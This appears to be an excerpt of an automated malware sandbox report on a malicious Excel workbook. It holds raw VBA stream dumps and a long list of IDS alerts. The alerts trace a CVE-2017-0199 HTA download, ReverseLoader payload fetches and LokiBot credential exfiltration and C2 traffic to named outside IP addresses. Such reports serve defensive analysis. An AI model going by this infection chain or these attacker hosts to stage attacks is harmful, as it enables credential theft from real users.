Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9852230875228987
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.342427363143732
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . H g - i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 .
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 48 67 2d 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T19:46:30.381878+0200	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49162	192.3.176.141	80	TCP
2024-10-25T19:46:30.381977+0200	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.3.176.141	80	192.168.2.22	49162	TCP
2024-10-25T19:46:33.094811+0200	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49164	192.3.176.141	80	TCP
2024-10-25T19:46:33.095032+0200	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.3.176.141	80	192.168.2.22	49164	TCP
2024-10-25T19:46:42.802600+0200	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.22	49165	192.3.176.141	80	TCP
2024-10-25T19:46:52.895546+0200	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49170	192.3.176.141	80	TCP
2024-10-25T19:47:08.765943+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.185.97	443	192.168.2.22	49172	TCP
2024-10-25T19:47:16.326539+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.185.97	443	192.168.2.22	49174	TCP
2024-10-25T19:47:21.045090+0200	2858796	ETPRO MALWARE ReverseLoader Payload Request (GET) M1	1	192.168.2.22	49175	192.3.176.141	80	TCP
2024-10-25T19:47:28.559076+0200	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	192.3.176.141	80	192.168.2.22	49175	TCP
2024-10-25T19:47:29.214898+0200	2858796	ETPRO MALWARE ReverseLoader Payload Request (GET) M1	1	192.168.2.22	49176	192.3.176.141	80	TCP
2024-10-25T19:47:30.125461+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:30.125461+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:30.125461+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:31.091347+0200	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:31.196023+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:31.196023+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:31.196023+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:32.209410+0200	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:32.276137+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:32.276137+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:32.276137+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:33.245436+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:33.245436+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:33.251844+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49179	TCP
2024-10-25T19:47:33.419412+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:33.419412+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:33.419412+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:34.380626+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:34.380626+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:34.386500+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49180	TCP
2024-10-25T19:47:34.553307+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:34.553307+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:34.553307+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:35.539534+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:35.539534+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:35.545416+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49181	TCP
2024-10-25T19:47:35.682148+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:35.682148+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:35.682148+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:36.143260+0200	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	192.3.176.141	80	192.168.2.22	49176	TCP
2024-10-25T19:47:36.652853+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:36.652853+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:36.662923+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49182	TCP
2024-10-25T19:47:36.809250+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:36.809250+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:36.809250+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:37.783748+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:37.783748+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:37.790008+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49183	TCP
2024-10-25T19:47:37.964782+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:37.964782+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:37.964782+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:38.954278+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:38.954278+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:38.960319+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49184	TCP
2024-10-25T19:47:39.095717+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:39.095717+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:39.095717+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:40.073710+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:40.073710+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:40.079504+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49185	TCP
2024-10-25T19:47:40.313650+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:40.313650+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:40.313650+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:41.264102+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:41.264102+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:41.270431+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49186	TCP
2024-10-25T19:47:41.572656+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:41.572656+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:41.572656+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:42.528982+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:42.528982+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:42.534982+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49187	TCP
2024-10-25T19:47:42.669867+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:42.669867+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:42.669867+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:43.673904+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:43.673904+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:43.679975+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49188	TCP
2024-10-25T19:47:43.859217+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:43.859217+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:43.859217+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:44.839508+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:44.839508+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:44.845318+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49189	TCP
2024-10-25T19:47:45.251829+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:45.251829+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:45.251829+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:46.223466+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:46.223466+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:46.229549+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49190	TCP
2024-10-25T19:47:46.366646+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:46.366646+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:46.366646+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:47.537204+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:47.537204+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:47.537689+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49191	TCP
2024-10-25T19:47:48.195618+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:48.195618+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:48.195618+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:49.209118+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:49.209118+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:49.214920+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49192	TCP
2024-10-25T19:47:49.699028+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:49.699028+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:49.699028+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:50.669845+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:50.669845+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:50.675603+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49193	TCP
2024-10-25T19:47:50.827790+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:50.827790+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:50.827790+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:51.785905+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:51.785905+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:51.791813+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49194	TCP
2024-10-25T19:47:52.236705+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:52.236705+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:52.236705+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:53.227500+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:53.227500+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:53.233322+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49195	TCP
2024-10-25T19:47:53.769908+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:53.769908+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:53.769908+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:54.716652+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:54.716652+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:54.722745+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49196	TCP
2024-10-25T19:47:55.891682+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:55.891682+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:55.891682+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:56.856270+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:56.856270+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:56.863914+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49197	TCP
2024-10-25T19:47:57.017578+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:57.017578+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:57.017578+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:58.001493+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:58.001493+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:58.009579+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49198	TCP
2024-10-25T19:47:58.148222+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:58.148222+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:58.148222+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:59.097513+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:59.097513+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:59.103378+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49199	TCP
2024-10-25T19:47:59.236458+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:47:59.236458+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:47:59.236458+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:00.217100+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:00.217100+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:00.223032+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49200	TCP
2024-10-25T19:48:00.465093+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:00.465093+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:00.465093+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:01.711331+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:01.711331+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:01.930545+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49201	TCP
2024-10-25T19:48:01.939381+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:01.939381+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:01.939381+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:02.893436+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:02.893436+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:02.899141+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49202	TCP
2024-10-25T19:48:03.143555+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:03.143555+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:03.143555+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:04.117691+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:04.117691+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:04.123553+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49203	TCP
2024-10-25T19:48:05.042808+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:05.042808+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:05.042808+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:06.018926+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49204	94.156.177.220	80	TCP
